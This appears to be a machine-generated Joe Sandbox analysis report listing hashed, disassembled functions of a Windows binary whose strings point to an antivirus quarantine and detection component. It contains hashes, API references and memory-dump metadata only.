Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: e82685a3153856f58f3176b49433fa40cc0a6602fc72f3bc0670cd1eec4d2bc4
Instruction ID: a72933d7652eee1ce42449f64e4370b365fbcbea739f10b8ca5cd41f8ceea018
Opcode Fuzzy Hash: e82685a3153856f58f3176b49433fa40cc0a6602fc72f3bc0670cd1eec4d2bc4
Instruction Fuzzy Hash: EDF0FEF261468085EA62EB22B4123DA6750A79D7A8F800216FB9D476BADE3DC2558A00

Function 000000014000E178 Relevance: 1.5, Strings: 1, Instructions: 260COMMON

Download Yara Rule

Strings

-, xrefs: 000000014000E358

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: 2c0fe4c55243f33cdb34ec3615e3d347b9ce4ba35bb8967fdbcfce9d52a551a3
Instruction ID: 5aef184856849f1d0e814b0a8e39d0e8e949ccad25035a2bf8530ae42cfb47ec
Opcode Fuzzy Hash: 2c0fe4c55243f33cdb34ec3615e3d347b9ce4ba35bb8967fdbcfce9d52a551a3
Instruction Fuzzy Hash: 5CB1CFF36086C482F7A6CE16B6083AABAA5F7597D4F240115FF4973AF4D779C8808B00

Function 000000014000DFFE Relevance: 1.5, Strings: 1, Instructions: 256COMMON

Download Yara Rule

Strings

-, xrefs: 000000014000E358

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: d0b365294d50e82b05b46562bde9ad75935525663af60c2549490a2d68dcad7f
Instruction ID: 5cc8c865c9461daf8b0756d8ed2731e20d175c685145385c3f78aef56f479fea
Opcode Fuzzy Hash: d0b365294d50e82b05b46562bde9ad75935525663af60c2549490a2d68dcad7f
Instruction Fuzzy Hash: 5FB1A0F26087C486F772CF16B5043AABAA1F7997D4F240115FF5923AE4DBB9C9848B40

Function 00000001400092E0 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00000001400092EB

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 836f1dd34661b3a221f56dc19e791b08cc78d614d7e29c7f03eced68424ee8fe
Instruction ID: 6026514bbd401dabfdc0327cb8eb2cc9cc42ab70edfd582905dc0376ef34508b
Opcode Fuzzy Hash: 836f1dd34661b3a221f56dc19e791b08cc78d614d7e29c7f03eced68424ee8fe
Instruction Fuzzy Hash: 37B09260A61400D1D605AF22AC8538022A0775C340FC00410E20986130DA3C819A8700

Function 000000014000DEFB Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

-, xrefs: 000000014000E358

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: ac637b882370d0844742d876f6d50665fbc38b4c3acf89c25781960c99b4f2e0
Instruction ID: f0a9775499ae8e11c0cd3741dc570bab2f5201344a81d2c1a5008a9dc88a1dca
Opcode Fuzzy Hash: ac637b882370d0844742d876f6d50665fbc38b4c3acf89c25781960c99b4f2e0
Instruction Fuzzy Hash: 7E91D4F2A047C485FBB2CE16B6083AA7AE0B7597E4F141516FF49236F4DB79C9448B40

Function 000000014000DDFF Relevance: 1.4, Strings: 1, Instructions: 192COMMON

Download Yara Rule

Strings

-, xrefs: 000000014000E358

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: ab76a755316d4a48554b78acaf832b3985bbd0abb48915d025235a6fa293112f
Instruction ID: 8f8310eeb878d4aa74977829efb49c2c7de80d27e4d4fb150cd5d5e4432a17d7
Opcode Fuzzy Hash: ab76a755316d4a48554b78acaf832b3985bbd0abb48915d025235a6fa293112f
Instruction Fuzzy Hash: 51818FB26087C485F7B2CE16B5083AA7AA0F7997D8F141116FF45636F4DB79C984CB40

Function 000000014000DE96 Relevance: 1.4, Strings: 1, Instructions: 191COMMON

Download Yara Rule

Strings

-, xrefs: 000000014000E358

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: c4b1ae68995c86a4b6842fa045a9432b0b2524c7844d6ccb0434c0756f7f8cc7
Instruction ID: f8efd74c2ac63e8556513dce229926bc74ff59f5ae5890729ffd39c1599aad0a
Opcode Fuzzy Hash: c4b1ae68995c86a4b6842fa045a9432b0b2524c7844d6ccb0434c0756f7f8cc7
Instruction Fuzzy Hash: BE81B0F2608BC486F7A2CE16B5083AA7AA1F7587E4F140515FF59236F4DB79C984CB40

Function 000000014000CC00 Relevance: .1, Instructions: 89COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 382482a43049451918361ff49eb8a1074a352d433c0d3f6017d26c5ae398af27
Instruction ID: 63b5043dbdffafa71f1ddaca105bc0afa02b2cba45448f866c4c658d1faf9303
Opcode Fuzzy Hash: 382482a43049451918361ff49eb8a1074a352d433c0d3f6017d26c5ae398af27
Instruction Fuzzy Hash: B031B0B262129045F317AF37F941FAE7652AB897E0F514626FF29477E2CA3C88028704

Function 000000014000C2A0 Relevance: .1, Instructions: 89COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2d421cb8e45ff6c5d0cd91ffb7c0551f31bf35597a99ffb978e455b190e8185
Instruction ID: b610fbdfd0d7c5655a75ac718b847164fa7f0802b4cc155a4829149d785d36e6
Opcode Fuzzy Hash: b2d421cb8e45ff6c5d0cd91ffb7c0551f31bf35597a99ffb978e455b190e8185
Instruction Fuzzy Hash: FE317EB262129445F717AF37B942BAE7652AB887F0F519716BF39077E2CA7C88018710

Function 00000001400110F0 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1ae0088751324d3bee5442ce8c7f4399171e4b45f421078da355ce765193e83
Instruction ID: e0c281a5a51834f3cf9ef76d9d4ef001c4a7356b2a993cafd714ca14a0116626
Opcode Fuzzy Hash: b1ae0088751324d3bee5442ce8c7f4399171e4b45f421078da355ce765193e83
Instruction Fuzzy Hash: F831E472A1029056F31BAF77F881BDEB652A7C87E0F655629BB190B7E3CA3D84008700

Function 00007FFBC320FD40 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2421075266.00007FFBC3201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC3200000, based on PE: true

Associated: 00000006.00000002.2421060682.00007FFBC3200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421093804.00007FFBC3212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421110819.00007FFBC321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421125645.00007FFBC321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffbc3200000_O8xg2t.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a5a5e3725c53a151926f610c9bfb798d223dd818db9d286110f1e1aff9ffe1d
Instruction ID: 3ebcd1e3d86842839c1dba410951551620a7be1127b368d727b69c627f5226d5
Opcode Fuzzy Hash: 7a5a5e3725c53a151926f610c9bfb798d223dd818db9d286110f1e1aff9ffe1d
Instruction Fuzzy Hash: 68F062B1B192958AEFA49F38E942E2A77D4E748380F988039D68D87B04D63C94608F04

Function 00000001400038D0 Relevance: 68.5, APIs: 23, Strings: 16, Instructions: 239
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWaitableTimer.KERNEL32 ref: 000000014000390C
#4.VSELOG ref: 000000014000395D
#4.VSELOG ref: 000000014000398D
EnterCriticalSection.KERNEL32 ref: 0000000140003996
LeaveCriticalSection.KERNEL32 ref: 00000001400039A7
WaitForMultipleObjects.KERNEL32 ref: 00000001400039CB
#4.VSELOG ref: 0000000140003A04
EnterCriticalSection.KERNEL32 ref: 0000000140003A0D
SetEvent.KERNEL32 ref: 0000000140003A52
ResetEvent.KERNEL32 ref: 0000000140003A5F
LeaveCriticalSection.KERNEL32 ref: 0000000140003A70
#4.VSELOG ref: 0000000140003AA1
#4.VSELOG ref: 0000000140003AD5

Strings

amps_Listen: pHandle=%p, message received, pulling from AMP queue, xrefs: 00000001400039F3
amps_Listen: pHandle=%psession Id: %d, xrefs: 0000000140003CFB
amps_Listen: pHandle=%p, p=%p, xrefs: 0000000140003949
amps_Listen: pHandle=%pobject archive name: %s, xrefs: 0000000140003B74
amps_Listen: pHandle=%p, message is:, xrefs: 0000000140003A90
amps_Listen: pHandle=%pdetection component type: %d, xrefs: 0000000140003C93
amps_Listen: pHandle=%pdetection message: %s, xrefs: 0000000140003BED
amps_Listen: pHandle=%pdetection accuracy: %d, xrefs: 0000000140003C2B
amps_Listen: pHandle=%pdetection type: %d, xrefs: 0000000140003C5F
amps_Listen: pHandle=%paction taken: %d, xrefs: 0000000140003CC7
null, xrefs: 0000000140003AEF
amps_Listen: pHandle=%p, waiting for messages from the AMP queue, xrefs: 000000014000397C
amps_Listen: pHandle=%pobject name: %s, xrefs: 0000000140003B02
amps_Listen: pHandle=%peventId: %d, xrefs: 0000000140003AC4
amps_Listen: pHandle=%pdetection name: %s, xrefs: 0000000140003BB2
amps_Listen: pHandle=%pobject type: %d, xrefs: 0000000140003B3D

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: CriticalSection$EnterEventLeave$MultipleObjectsResetTimerWaitWaitable
String ID: amps_Listen: pHandle=%paction taken: %d$amps_Listen: pHandle=%pdetection accuracy: %d$amps_Listen: pHandle=%pdetection component type: %d$amps_Listen: pHandle=%pdetection message: %s$amps_Listen: pHandle=%pdetection name: %s$amps_Listen: pHandle=%pdetection type: %d$amps_Listen: pHandle=%peventId: %d$amps_Listen: pHandle=%pobject archive name: %s$amps_Listen: pHandle=%pobject name: %s$amps_Listen: pHandle=%pobject type: %d$amps_Listen: pHandle=%psession Id: %d$amps_Listen: pHandle=%p, message is:$amps_Listen: pHandle=%p, message received, pulling from AMP queue$amps_Listen: pHandle=%p, p=%p$amps_Listen: pHandle=%p, waiting for messages from the AMP queue$null
API String ID: 1021822269-3147033232
Opcode ID: e7e75cb521e949a2fcfed2942cb356f66ccf7465466a17c5606e033b0a8adf5e
Instruction ID: ec7db78c4d4a766f71db07ed68f83fdabe3b60d74f96cc88383eff92a0be527c
Opcode Fuzzy Hash: e7e75cb521e949a2fcfed2942cb356f66ccf7465466a17c5606e033b0a8adf5e
Instruction Fuzzy Hash: E5D1DAB5205A4592EB12CF17E880BD923A4F78CBE4F454122BB0D4BBB5DF7AD686C350

Function 0000000140001010 Relevance: 38.6, APIs: 12, Strings: 10, Instructions: 89
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32 ref: 0000000140001054
GetProcAddress.KERNEL32 ref: 000000014000106C
FreeLibrary.KERNEL32 ref: 000000014000108F
GetProcAddress.KERNEL32 ref: 00000001400010D2
GetProcAddress.KERNEL32 ref: 00000001400010ED
GetProcAddress.KERNEL32 ref: 0000000140001108
GetProcAddress.KERNEL32 ref: 0000000140001123
GetProcAddress.KERNEL32 ref: 000000014000113E
GetProcAddress.KERNEL32 ref: 0000000140001159
GetProcAddress.KERNEL32 ref: 0000000140001174
FreeLibrary.KERNEL32 ref: 0000000140001194
InitializeCriticalSection.KERNEL32 ref: 00000001400011BE

Strings

{7A7E8119-620E-4CEF-BD5F-F748D7B059DA}, xrefs: 0000000140001081
vseRelease, xrefs: 0000000140001115
msi.dll, xrefs: 0000000140001042
vseExec, xrefs: 0000000140001130
MsiLocateComponentW, xrefs: 0000000140001062
vseSet, xrefs: 0000000140001166
vseInit, xrefs: 00000001400010FA
vseGlobalRelease, xrefs: 00000001400010DF
vseGlobalInit, xrefs: 00000001400010C8
vseGet, xrefs: 000000014000114B

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: AddressProc$Library$Free$CriticalInitializeLoadSection
String ID: MsiLocateComponentW$msi.dll$vseExec$vseGet$vseGlobalInit$vseGlobalRelease$vseInit$vseRelease$vseSet${7A7E8119-620E-4CEF-BD5F-F748D7B059DA}
API String ID: 883923345-381368982
Opcode ID: b9a27f811b976282af616144a97be757c2cf76aa1f8607743da558726ba8644d
Instruction ID: d19804ac2d128cc8e67db72781ea5cb7b7d89be94dae840b99a82102003c66a5
Opcode Fuzzy Hash: b9a27f811b976282af616144a97be757c2cf76aa1f8607743da558726ba8644d
Instruction Fuzzy Hash: F351EEB4221B4191EB52CF26F8987D823A0BB8D7C5F841515EA5E8B3B0EF7AC548C700

Function 0000000140002460 Relevance: 30.1, APIs: 20, Instructions: 110memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140002492
LeaveCriticalSection.KERNEL32 ref: 00000001400024A3
SetEvent.KERNEL32 ref: 00000001400024AD
EnterCriticalSection.KERNEL32 ref: 00000001400024C0
LeaveCriticalSection.KERNEL32 ref: 00000001400024D1
WaitForMultipleObjects.KERNEL32 ref: 00000001400024F1
CloseHandle.KERNEL32 ref: 00000001400024FB
CloseHandle.KERNEL32 ref: 0000000140002505
EnterCriticalSection.KERNEL32 ref: 0000000140002514
SetEvent.KERNEL32 ref: 000000014000255E
ResetEvent.KERNEL32 ref: 000000014000256B
LeaveCriticalSection.KERNEL32 ref: 0000000140002575
GetProcessHeap.KERNEL32 ref: 0000000140002591
HeapFree.KERNEL32 ref: 000000014000259F
GetProcessHeap.KERNEL32 ref: 00000001400025AE
HeapFree.KERNEL32 ref: 00000001400025BC
GetProcessHeap.KERNEL32 ref: 00000001400025CB
HeapFree.KERNEL32 ref: 00000001400025D9
GetProcessHeap.KERNEL32 ref: 00000001400025E8
HeapFree.KERNEL32 ref: 00000001400025F6

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: Heap$CriticalSection$FreeProcess$EnterEventLeave$CloseHandle$MultipleObjectsResetWait
String ID:
API String ID: 1613947383-0
Opcode ID: e9680c11c9d284b0c3aa37b35d301596d2d95dd61f06f1daf2196339e6fd89f5
Instruction ID: 4415f923c5b49a541c3c18af517eb333de188a5b32bf04682df7988820a44021
Opcode Fuzzy Hash: e9680c11c9d284b0c3aa37b35d301596d2d95dd61f06f1daf2196339e6fd89f5
Instruction Fuzzy Hash: 8D51D3BA204A4496E726DF23F85439A6361F79CBD1F044125EB9A07AB4DF39D599C300

Function 0000000140004500 Relevance: 22.6, APIs: 15, Instructions: 73memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,0000000140002456), ref: 000000014000451B
EnterCriticalSection.KERNEL32(?,?,?,0000000140002456), ref: 0000000140004525
GetProcessHeap.KERNEL32 ref: 000000014000454C
HeapFree.KERNEL32 ref: 000000014000455A
SetEvent.KERNEL32 ref: 0000000140004567
ResetEvent.KERNEL32 ref: 0000000140004571
LeaveCriticalSection.KERNEL32 ref: 000000014000457B
CloseHandle.KERNEL32 ref: 000000014000458A
CloseHandle.KERNEL32 ref: 0000000140004599
LeaveCriticalSection.KERNEL32 ref: 00000001400045A3
DeleteCriticalSection.KERNEL32 ref: 00000001400045AD
GetProcessHeap.KERNEL32 ref: 00000001400045D2
HeapFree.KERNEL32 ref: 00000001400045E0
GetProcessHeap.KERNEL32 ref: 00000001400045F5
HeapFree.KERNEL32 ref: 0000000140004603

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: Heap$CriticalSection$FreeProcess$CloseEnterEventHandleLeave$DeleteReset
String ID:
API String ID: 1995290849-0
Opcode ID: 50d905dbcd5d3d8e314177ba4d4162b1dc612bf36ecce00c392234b6cbb64ee5
Instruction ID: 07b3271e3c5f19e1ab061b13c36c38fadfaaa54878a955e19646b3fb384661b9
Opcode Fuzzy Hash: 50d905dbcd5d3d8e314177ba4d4162b1dc612bf36ecce00c392234b6cbb64ee5
Instruction Fuzzy Hash: 7C31D3B6601B41A7EB16DF63F98439833A4FB9CB81F484014EB4A07A35DF39E4B98304

Function 00000001400048A0 Relevance: 22.6, APIs: 15, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00000001400048AD
EnterCriticalSection.KERNEL32 ref: 00000001400048BA
GetProcessHeap.KERNEL32 ref: 00000001400048F1
HeapFree.KERNEL32 ref: 0000000140004903
SetEvent.KERNEL32 ref: 0000000140004917
ResetEvent.KERNEL32 ref: 0000000140004924
LeaveCriticalSection.KERNEL32 ref: 0000000140004931
CloseHandle.KERNEL32 ref: 0000000140004943
CloseHandle.KERNEL32 ref: 0000000140004955
LeaveCriticalSection.KERNEL32 ref: 0000000140004962
DeleteCriticalSection.KERNEL32 ref: 000000014000496F
GetProcessHeap.KERNEL32 ref: 00000001400049A7
HeapFree.KERNEL32 ref: 00000001400049B9
GetProcessHeap.KERNEL32 ref: 00000001400049D5
HeapFree.KERNEL32 ref: 00000001400049E7

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: Heap$CriticalSection$FreeProcess$CloseEnterEventHandleLeave$DeleteReset
String ID:
API String ID: 1995290849-0
Opcode ID: 2f4077f28f01d0b1ccc1c48d704ff51649a530c0da5e40bb1ca44111346c6a52
Instruction ID: fd5ea752b6625aace240e5dc115a6ac8a79eac1ae5096a798ed6b9a4de507a32
Opcode Fuzzy Hash: 2f4077f28f01d0b1ccc1c48d704ff51649a530c0da5e40bb1ca44111346c6a52
Instruction Fuzzy Hash: B2311BB4511E0985EB07DF63FC943D423A6BB5CBD5F8D0129AB4A8B270EF3A8499C214

Function 0000000140002DE0 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 166registryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140002E63
LeaveCriticalSection.KERNEL32 ref: 0000000140002EE7
EnterCriticalSection.KERNEL32 ref: 0000000140002EF9
EnterCriticalSection.KERNEL32 ref: 0000000140002F35
LeaveCriticalSection.KERNEL32 ref: 0000000140002FC0
RegCreateKeyExW.ADVAPI32 ref: 000000014000300B
RegSetValueExW.ADVAPI32 ref: 000000014000304C
RegCloseKey.ADVAPI32 ref: 0000000140003057
LeaveCriticalSection.KERNEL32 ref: 0000000140003064

Strings

SYSTEM\CurrentControlSet\Services\vseamps\Parameters, xrefs: 0000000140002FD5
action, xrefs: 0000000140003020
?, xrefs: 0000000140002FFE

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: CriticalSection$EnterLeave$CloseCreateValue
String ID: ?$SYSTEM\CurrentControlSet\Services\vseamps\Parameters$action
API String ID: 93015348-1041928032
Opcode ID: 29268dff0e12a6c2837206cbe8abbe1365c88675c14f20743fcf2bb12703bfc8
Instruction ID: 955b1bef443a43e40f7389cebc0d05d3cfed999bfec6c75915e9fb821c1678e4
Opcode Fuzzy Hash: 29268dff0e12a6c2837206cbe8abbe1365c88675c14f20743fcf2bb12703bfc8
Instruction Fuzzy Hash: E3714676211A4082E762CB26F8507DA73A5F78D7E4F141226FB6A4B7F4DB3AC485C700

Function 0000000140002B40 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 141libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 0000000140002B91
GetProcAddress.KERNEL32 ref: 0000000140002BAD
GetProcAddress.KERNEL32 ref: 0000000140002BC8
GetProcAddress.KERNEL32 ref: 0000000140002BE3
EnterCriticalSection.KERNEL32 ref: 0000000140002C0D
LeaveCriticalSection.KERNEL32 ref: 0000000140002C9A
EnterCriticalSection.KERNEL32 ref: 0000000140002CAF
LeaveCriticalSection.KERNEL32 ref: 0000000140002D2D

Strings

vseqrt.dll, xrefs: 0000000140002B7E
vseqrtInit, xrefs: 0000000140002BA3
vseqrtAdd, xrefs: 0000000140002BD5
vseqrtRelease, xrefs: 0000000140002BBA

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

